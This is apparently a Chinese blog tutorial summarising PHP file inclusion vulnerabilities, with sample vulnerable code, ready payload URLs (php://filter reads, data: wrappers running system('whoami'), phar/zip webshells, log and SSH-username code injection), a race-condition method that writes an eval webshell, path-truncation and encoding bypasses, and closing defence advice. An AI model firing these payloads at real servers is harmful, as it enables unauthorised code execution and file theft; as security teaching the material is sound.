php文件包含漏洞利用小結(jié)

漏洞概述:


文件包含漏洞是指客戶端(一般為瀏覽器)用戶通過輸入控制動(dòng)態(tài)包含在服務(wù)器的文件,從而導(dǎo)致惡意代碼的執(zhí)行及敏感信息的泄露全释,主要包括本地文件包含LFI和遠(yuǎn)程文件包含RFI兩種形式。

產(chǎn)生原因:

在通過 PHP 的函數(shù)引入文件時(shí)健田,由于傳入的文件名沒有經(jīng)過合理的校驗(yàn)尤莺,從而操作了預(yù)想之外的文件九串,就可能導(dǎo)致意外的文件泄露甚至惡意的代碼注入

利用條件:

1、用戶能夠控制這個(gè)動(dòng)態(tài)變量
2癣亚、include()等函數(shù)通過動(dòng)態(tài)變量的方式引入需要包含的文件

在PHP中丑掺,產(chǎn)生文件包含漏洞的幾個(gè)函數(shù):

  • include():
    只有代碼執(zhí)行到此函數(shù)時(shí)才將文件包含進(jìn)來,發(fā)生錯(cuò)誤時(shí)只警告并繼續(xù)執(zhí)行逃糟。
  • require():
    只要程序執(zhí)行吼鱼,立即調(diào)用此函數(shù)包含文件,發(fā)生錯(cuò)誤時(shí)绰咽,會(huì)輸出錯(cuò)誤信息并立即終止程序菇肃。
  • include_once():
    功能include()一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí)取募,程序只調(diào)用一次琐谤。
  • require_once():
    功能require()一樣,區(qū)別在于當(dāng)重復(fù)調(diào)用同一文件時(shí)玩敏,程序只調(diào)用一次斗忌。

文件包含功能要實(shí)現(xiàn),需要在PHP的配置文件php.ini中開啟allow_url_include旺聚;如果是遠(yuǎn)程文件包含织阳,則除此之外還需要開啟allow_url_fopen。

漏洞危害:

讀取敏感文件
獲取webshell
任意命令執(zhí)行
在某些情況下砰粹,根據(jù)LFI漏洞的性質(zhì)唧躲,可以運(yùn)行系統(tǒng)可執(zhí)行文件

存在文件包含漏洞的php源碼:

<?php
$a = @$_GET['file'];
echo 'include $_GET[\'file\']';
if (strpos($a,'flag')!==false) {
die('nonono');
}
include $a;
?>

php.ini配置文件:

allow_url_fopen=off 即不可以包含遠(yuǎn)程文件。php4存在遠(yuǎn)程包含&本地包含,php5僅存在本地包含

php偽協(xié)議文件包含:

File://  訪問本地文件系統(tǒng)
http://  訪問HTTPs網(wǎng)址
ftp://  訪問ftp URL
Php://  訪問輸入輸出流
Zlib://  壓縮流
Data://  數(shù)據(jù)
Ssh2://  security shell2
Expect://  處理交互式的流
Glob://  查找匹配的文件路徑

php偽協(xié)議文件包含總結(jié):

利用方法:


1弄痹、利用file協(xié)議執(zhí)行任意文件讀确谷搿:
2、利用php偽協(xié)議:php://filter查看源代碼:

php://filter是一種元封裝器肛真,設(shè)計(jì)用于數(shù)據(jù)流打開時(shí)的篩選過濾應(yīng)用谐丢;在文件包含中用于讀取文件內(nèi)容,讀取后輸出base64編碼后的內(nèi)容蚓让,要獲取真實(shí)內(nèi)容的話乾忱,需要進(jìn)行base64解碼

?file=php://filter/read=convert.base64-encode/resource=index.php
?file=php://filter/convert.base64-encode/resource=../sss.php
3、session文件包含:

利用條件:

session的存儲(chǔ)位置可以獲取
session中的內(nèi)容可以被控制凭疮,傳入惡意代碼

利用思路:

通過參數(shù)name寫入惡意代碼到session文件中饭耳,然后通過文件包含漏洞執(zhí)行此惡意代碼getshell

1)、通過phpinfo的信息可以獲取到session的存儲(chǔ)位置

或者我們可以猜測(cè)默認(rèn)的session存放位置進(jìn)行嘗試执解。linux下默認(rèn)存儲(chǔ)在/var/lib/php/session目錄下

<?php
session_start();
$name=$_GET['name'];
$_SESSION["name"]=$name;
?>

此php會(huì)將獲取到的GET型name變量的值存入到session中寞肖,會(huì)在/var/lib/php/session目錄下存儲(chǔ)session的值。

session的文件名為sess_+sessionid衰腌,sessionid可以通過查看響應(yīng)包獲取新蟆。

4、利用php偽協(xié)議:php://input

利用條件:

allow_url_include= On
php <5.0 右蕊,allow_url_include=Off 情況下也可以用

php://input是個(gè)可以訪問請(qǐng)求的原始數(shù)據(jù)的只讀流琼稻。使用時(shí),將要輸入的數(shù)據(jù)以post方式提交

生成一句話木馬:

讀取目錄結(jié)構(gòu):

5饶囚、利用php偽協(xié)議:data:

利用條件:

php > 5.2
allow_url_fopen=On && allow_url_include=On

?file=data:text/plain,<?php phpinfo();?>
?file=data:text/plain,<?php system('whoami');?>
?file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
6帕翻、利用php偽協(xié)議:phar://

利用條件:

PHP>= 5.3.0

phar:// 數(shù)據(jù)流包裝器自PHP 5.3.0起開始。這個(gè)參數(shù)是就是php解壓縮包的一個(gè)函數(shù)萝风,不管目標(biāo)文件后綴是什么嘀掸,都將其當(dāng)做壓縮包來解壓

用法格式:
?file=phar://壓縮包/內(nèi)部文件
注意:絕對(duì)路徑或相對(duì)路徑均可;壓縮包只能使用zip協(xié)議壓縮

使用時(shí)有兩種方式:
1)规惰、將木馬文件壓縮后睬塌,改為其他任意格式的文件都可以,比如改成txt文件歇万。用zip協(xié)議將其壓縮為info.zip揩晴;然后,將壓縮包后綴改為png等其他格式得info.png贪磺。
在文件包含時(shí)利用方式:phar://xxx.png/xxx.php

使用絕對(duì)路徑:

2)硫兰、無需修改壓縮包的后綴名:

7、利用php偽協(xié)議:zip://

zip偽協(xié)議和phar協(xié)議類似(絕對(duì)路徑或相對(duì)路徑)寒锚,但是用法不一樣劫映。
用法:?file=zip://[壓縮文件絕對(duì)路徑]#[壓縮文件內(nèi)的子文件名]zip://xxx.png#shell.phpzip://xxx.zip#shell.php呻粹。經(jīng)筆者測(cè)試5.2.17 =<php <= 7.0.12下都生效,其余版本未測(cè)試

8苏研、利用上傳點(diǎn)制作圖片馬,并上傳至服務(wù)器:
copy book4yi.jpg /b + info.php /a info.jpg

注意:txt文件被包含時(shí)也會(huì)執(zhí)行文件中的PHP代碼

在相對(duì)路徑的表示中腮郊,符號(hào)../表示上一級(jí)目錄摹蘑,符合./表示本級(jí)目錄
對(duì)于存在包含漏洞的腳本及文件上傳點(diǎn)所在文件夾不同的情況,可利用../翻越到上一級(jí)目錄進(jìn)行包含轧飞。

9衅鹿、臨時(shí)文件包含:

在進(jìn)行文件上傳時(shí),服務(wù)器會(huì)產(chǎn)生該文件的臨時(shí)文件过咬,可以在臨時(shí)文件被刪除前使用文件包含獲取webshell

一般而言大渤,在Linux系統(tǒng)中,臨時(shí)文件會(huì)保存在目錄/tmp下掸绞,而Windows系統(tǒng)中會(huì)保存在C:\Windows\Temp文件夾下泵三。我們需要關(guān)注的重點(diǎn)就是如何獲取臨時(shí)文件名,并且要在臨時(shí)文件被刪除前包含衔掸,否則將不能利用烫幕。在Linux系統(tǒng)中,臨時(shí)文件名的命名通過隨機(jī)函數(shù)命名敞映,Windows只有65535個(gè)臨時(shí)文件名较曼。

PHP文件包含漏洞中,如果找不到可以包含的文件振愿,我們可以通過包含臨時(shí)文件的方法來getshell捷犹。因?yàn)榕R時(shí)文件名是隨機(jī)的,如果目標(biāo)網(wǎng)站上存在phpinfo冕末,則可以通過phpinfo來獲取臨時(shí)文件名萍歉,進(jìn)而進(jìn)行包含

  • 漏洞原理:

在給PHP發(fā)送POST數(shù)據(jù)包時(shí),如果數(shù)據(jù)包里包含文件區(qū)塊栓霜,無論你訪問的代碼中有沒有處理文件上傳的邏輯翠桦,PHP都會(huì)將這個(gè)文件保存成一個(gè)臨時(shí)文件(通常是/tmp/php[6個(gè)隨機(jī)字符]),文件名可以在$_FILES變量中找到胳蛮。這個(gè)臨時(shí)文件销凑,在請(qǐng)求結(jié)束后就會(huì)被刪除。

同時(shí)仅炊,因?yàn)閜hpinfo頁面會(huì)將當(dāng)前請(qǐng)求上下文中所有變量都打印出來斗幼,所以我們?nèi)绻騪hpinfo頁面發(fā)送包含文件區(qū)塊的數(shù)據(jù)包,則即可在返回包里找到$_FILES變量的內(nèi)容抚垄,自然也包含臨時(shí)文件名蜕窿。

  • 利用原理:

文件包含漏洞和phpinfo頁面通常是兩個(gè)頁面谋逻,理論上我們需要先發(fā)送數(shù)據(jù)包給phpinfo頁面,然后從返回頁面中匹配出臨時(shí)文件名桐经,再將這個(gè)文件名發(fā)送給文件包含漏洞頁面毁兆,進(jìn)行g(shù)etshell,這里需要利用到條件競爭

  • 適用情形:

在文件包含漏洞找不到可利用的文件時(shí)阴挣,即可利用這個(gè)方法气堕,找到臨時(shí)文件名,然后包含之畔咧。

  • 具體過程:
  1. 發(fā)送包含了webshell的上傳數(shù)據(jù)包給phpinfo頁面茎芭,這個(gè)數(shù)據(jù)包的header、get等位置需要塞滿垃圾數(shù)據(jù)
  2. 因?yàn)閜hpinfo頁面會(huì)將所有數(shù)據(jù)都打印出來誓沸,1中的垃圾數(shù)據(jù)會(huì)將整個(gè)phpinfo頁面撐得非常大
  3. php默認(rèn)的輸出緩沖區(qū)大小為4096梅桩,可以理解為php每次返回4096個(gè)字節(jié)給socket連接
  4. 所以,我們直接操作原生socket拜隧,每次讀取4096個(gè)字節(jié)宿百。只要讀取到的字符里包含臨時(shí)文件名,就立即發(fā)送第二個(gè)數(shù)據(jù)包
  5. 此時(shí)虹蓄,第一個(gè)數(shù)據(jù)包的socket連接實(shí)際上還沒結(jié)束犀呼,因?yàn)閜hp還在繼續(xù)每次輸出4096個(gè)字節(jié),所以臨時(shí)文件此時(shí)還沒有刪除
  6. 利用這個(gè)時(shí)間差薇组,第二個(gè)數(shù)據(jù)包外臂,也就是文件包含漏洞的利用,即可成功包含臨時(shí)文件律胀,最終getshell

exp 項(xiàng)目地址:https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

利用腳本實(shí)現(xiàn)上述過程宋光,成功包含臨時(shí)文件后,會(huì)執(zhí)行<?php file_put_contents('/tmp/g', '<?=eval($_REQUEST[1])?>')?>炭菌,寫入一個(gè)新的文件/tmp/g罪佳,這個(gè)文件就會(huì)永久留在目標(biāo)機(jī)器上

本地用虛擬機(jī)復(fù)現(xiàn)的時(shí)候,發(fā)現(xiàn)生成的臨時(shí)文件并不是在默認(rèn)的/tmp/目錄下黑低,用find命令遍歷查找:

日志文件包含:


訪問日志:
利用條件:

需要知道服務(wù)器日志的存儲(chǔ)路徑赘艳,且日志文件可讀

利用原理:

web服務(wù)器會(huì)將請(qǐng)求寫入到日志文件中,比如說apache克握。在用戶發(fā)起請(qǐng)求時(shí)蕾管,會(huì)將請(qǐng)求寫入access.log,當(dāng)發(fā)生錯(cuò)誤時(shí)將錯(cuò)誤寫入error.log

日志存儲(chǔ)默認(rèn)路徑:

apache+Linux日志默認(rèn)路徑:/etc/httpd/logs/access.log菩暗、/var/log/httpd/access.log掰曾、var/log/apache2/access.logvar/log/apache2/error.log
apache+win2003日志默認(rèn)路徑:D:\xampp\apache\logs\access.log停团、D:\xampp\apache\logs\error.log
IIS6.0+win2003默認(rèn)日志文件:C:\WINDOWS\system32\Logfiles
IIS7.0+win2003 默認(rèn)日志文件:%SystemDrive%\inetpub\logs\LogFiles
nginx 日志文件:日志文件在用戶安裝目錄logs目錄下,假設(shè)安裝路徑為/usr/local/nginx或者var/log/nginx/,那日志目錄就是在/usr/local/nginx/logs或者var/log/nginx/access.log下面

或者可以通過讀取相應(yīng)的配置文件獲取log文件路徑:

apache+linux 默認(rèn)配置文件:/etc/httpd/conf/httpd.conf/etc/init.d/httpd
IIS6.0+win2003 配置文件:C:/Windows/system32/inetsrv/metabase.xml
IIS7.0+WIN 配置文件:C:\Windows\System32\inetsrv\config\applicationHost.config

注意:如果是直接發(fā)起請(qǐng)求旷坦,會(huì)導(dǎo)致一些符號(hào)被編碼使得包含無法正確解析掏熬。可以使用burp截包后修改:

正常的php代碼已經(jīng)寫入了/etc/log/apache2/access.log秒梅,包含即可執(zhí)行代碼

最開始kali本地復(fù)現(xiàn)的時(shí)候發(fā)現(xiàn)讀取文件權(quán)限不足:

執(zhí)行以下命令后復(fù)現(xiàn)成功:

chmod 777 -R /var/log/apache2/

SSH log:
利用條件:

需要知道ssh-log的位置旗芬,且可讀

ssh日志默認(rèn)路徑:

/var/log/auth.log(默認(rèn)情況下,所有用戶都可讀)
/var/log/secure

利用過程:

ssh '<?php phpinfo();?>'@192.168.107.129

直接包含其日志文件:

environ文件:
利用條件:

1捆蜀、php以cgi方式運(yùn)行岗屏,這樣environ才會(huì)保持UA頭
2、environ文件存儲(chǔ)位置已知漱办,且有權(quán)限訪問environ文件

environ文件默認(rèn)位置:proc/self/environ
由于本地環(huán)境不滿足,無法進(jìn)行復(fù)現(xiàn)婉烟,這里借張別人的圖:

利用文件包含漏洞去包含proc/self/environ:

遠(yuǎn)程文件包含:


自php5.2后娩井,php.ini默認(rèn)配置下:

allow_url_fopen=on
allow_url_include=off

默認(rèn)設(shè)置下是無法遠(yuǎn)程包含的,除非網(wǎng)站管理員設(shè)置了allow_url_include=on
所以遠(yuǎn)程包含的可能性很小

遠(yuǎn)程文件包含繞過技巧:
問號(hào)繞過:

?file=http://172.17.82.57/info.php?

#號(hào)繞過:

?file=http://172.17.82.57/info.php%23

對(duì)于有限制的文件包含:


00截?cái)嗬@過:
利用條件:

magic_quotes_gpc=off
PHP版本 < 5.3.4

超長文件名截?cái)啵?/strong>
php版本小于5.2.8(?)可以成功,linux需要文件名長于4096似袁,windows需要長于256

http://192.168.107.145/test/1.php?file=../././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././info.php

點(diǎn)號(hào)截?cái)啵?/strong>
php版本小于5.2.8(?)可以成功洞辣,只適用windows,點(diǎn)號(hào)需要長于256

http://192.168.107.145/test/1.php?file=../info.php/...........................................................................................................................................................................................................................................................................................................................................................................................................................................

復(fù)現(xiàn)失敗
編碼繞過:

../:%2e%2e%2f昙衅、..%2f扬霜、%2e%2e/、
..\:%2e%2e%5c而涉、..%5c著瓶、%2e%2e\

# 二次編碼繞過:
../:%252e%252e%252f
..\:%252e%252e%255c

補(bǔ)充:


假設(shè)存在這樣一個(gè)場景,想利用這個(gè)漏洞讀取一下數(shù)據(jù)庫配置文件之類的源碼啼县,通巢脑可以使用php://filter/convert.base64-encode/resource=file這樣的方式將文件以base64的形式讀出來。但如果這個(gè)文件在前面已經(jīng)被包含過了季眷,則第二次包含就會(huì)失敗余蟹,即使使用php://filter也一樣。

那么此時(shí)如何解決子刮?

方法就是使用“多重軟連接”威酒,這應(yīng)該算PHP的一個(gè)feature。

簡單描述一下挺峡,就是正常情況下葵孤,PHP會(huì)將用戶輸入的文件名進(jìn)行resolve,轉(zhuǎn)換成標(biāo)準(zhǔn)的絕對(duì)路徑沙郭,這個(gè)轉(zhuǎn)換的過程會(huì)將../佛呻、./、軟連接等都進(jìn)行計(jì)算病线,得到一個(gè)最終的路徑吓著,再進(jìn)行包含鲤嫡。每次包含都會(huì)經(jīng)歷這個(gè)過程,所以绑莺,只要是相同的文件暖眼,不管中間使用了../進(jìn)行跳轉(zhuǎn),還是使用軟連接進(jìn)行跳轉(zhuǎn)纺裁,都逃不過最終被轉(zhuǎn)換成原始路徑的過程诫肠,也就繞不過require_once。

但是欺缘,如果軟連接跳轉(zhuǎn)的次數(shù)超過了某一個(gè)上限栋豫,Linux的lstat函數(shù)就會(huì)出錯(cuò),導(dǎo)致PHP計(jì)算出的絕對(duì)路徑就會(huì)包含一部分軟連接的路徑谚殊,也就和原始路徑不相同的丧鸯,即可繞過require_once限制。

在Linux下嫩絮,最常見的軟連接就是/proc/self/root丛肢,這個(gè)路徑指向根目錄。所以剿干,我們可以多次使用這個(gè)路徑:

<?php
require_once '/www/config.php';
include_once '/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/www/config.php';

這樣即可包含兩次/www/config.php忧陪。

這個(gè)trick全部的原理劲弦,可以參考這篇文章:https://www.anquanke.com/post/id/213235

防御方案:


過濾危險(xiǎn)字符:過濾../和./
配置php.ini文件
設(shè)置allow_url_fopen 和 allow_url_include為off
設(shè)置文件目錄
設(shè)置白名單

1亲轨、包含目標(biāo)的參數(shù)過濾:

  1. 文件名后綴固定:在包含的文件名前后加固定后綴肠鲫;
  2. 文件名過濾:白名單或者黑名單過濾;

2榜轿、路徑限制:

  1. 目錄限制篮愉,在用戶提交的變量前增加固定的路徑,限制用戶可調(diào)用的目錄范圍差导;
  2. 目錄回退符過濾试躏,避免回退符生效導(dǎo)致路徑變化;

3设褐、中間件的安全配置:

  1. Magic_quotes_gpc(5.4以后被放棄用)
  2. 限制訪問區(qū)域:php.ini 中設(shè)置open_basedir來限制用戶訪問文件的活動(dòng)范圍等颠蕴;apache也有相關(guān)配置
  3. 設(shè)置訪問權(quán)限:限制當(dāng)前中間件所在用戶的訪問權(quán)限,例如助析;web服務(wù)器獨(dú)立用戶犀被,并且只擁有訪問目錄和使用中間件的權(quán)限,從而有效避免越權(quán)訪問其他文件外冀;

更多利用方式請(qǐng)參考:
PHP 文件包含漏洞姿勢(shì)總結(jié)
文件包含漏洞相關(guān)知識(shí)總結(jié)

參考如下:


php代碼審計(jì)之文件包含利用總結(jié)
文件包含漏洞相關(guān)知識(shí)總結(jié)
文件包含總結(jié)
web安全-文件包含漏洞
代碼安全之文件包含
PHP文件包含小總結(jié)

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
禁止轉(zhuǎn)載寡键,如需轉(zhuǎn)載請(qǐng)通過簡信或評(píng)論聯(lián)系作者。
  • 序言:七十年代末雪隧,一起剝皮案震驚了整個(gè)濱河市西轩,隨后出現(xiàn)的幾起案子员舵,更是在濱河造成了極大的恐慌,老刑警劉巖藕畔,帶你破解...
    沈念sama閱讀 218,640評(píng)論 6 507
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件马僻,死亡現(xiàn)場離奇詭異,居然都是意外死亡注服,警方通過查閱死者的電腦和手機(jī)韭邓,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,254評(píng)論 3 395
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來溶弟,“玉大人女淑,你說我怎么就攤上這事」加” “怎么了诗力?”我有些...
    開封第一講書人閱讀 165,011評(píng)論 0 355
  • 文/不壞的土叔 我叫張陵,是天一觀的道長我抠。 經(jīng)常有香客問我,道長袜茧,這世上最難降的妖魔是什么菜拓? 我笑而不...
    開封第一講書人閱讀 58,755評(píng)論 1 294
  • 正文 為了忘掉前任,我火速辦了婚禮笛厦,結(jié)果婚禮上纳鼎,老公的妹妹穿的比我還像新娘。我一直安慰自己裳凸,他們只是感情好贱鄙,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,774評(píng)論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著姨谷,像睡著了一般逗宁。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上梦湘,一...
    開封第一講書人閱讀 51,610評(píng)論 1 305
  • 那天瞎颗,我揣著相機(jī)與錄音,去河邊找鬼捌议。 笑死哼拔,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的瓣颅。 我是一名探鬼主播倦逐,決...
    沈念sama閱讀 40,352評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼宫补!你這毒婦竟也來了檬姥?” 一聲冷哼從身側(cè)響起曾我,我...
    開封第一講書人閱讀 39,257評(píng)論 0 276
  • 序言:老撾萬榮一對(duì)情侶失蹤,失蹤者是張志新(化名)和其女友劉穎穿铆,沒想到半個(gè)月后您单,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,717評(píng)論 1 315
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡荞雏,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,894評(píng)論 3 336
  • 正文 我和宋清朗相戀三年虐秦,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片凤优。...
    茶點(diǎn)故事閱讀 40,021評(píng)論 1 350
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡悦陋,死狀恐怖,靈堂內(nèi)的尸體忽然破棺而出筑辨,到底是詐尸還是另有隱情俺驶,我是刑警寧澤,帶...
    沈念sama閱讀 35,735評(píng)論 5 346
  • 正文 年R本政府宣布棍辕,位于F島的核電站暮现,受9級(jí)特大地震影響,放射性物質(zhì)發(fā)生泄漏楚昭。R本人自食惡果不足惜栖袋,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,354評(píng)論 3 330
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望抚太。 院中可真熱鬧塘幅,春花似錦、人聲如沸尿贫。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,936評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽庆亡。三九已至匾乓,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間又谋,已是汗流浹背钝尸。 一陣腳步聲響...
    開封第一講書人閱讀 33,054評(píng)論 1 270
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留搂根,地道東北人珍促。 一個(gè)月前我還...
    沈念sama閱讀 48,224評(píng)論 3 371
  • 正文 我出身青樓,卻偏偏與公主長得像剩愧,于是被迫代替她去往敵國和親猪叙。 傳聞我的和親對(duì)象是個(gè)殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,974評(píng)論 2 355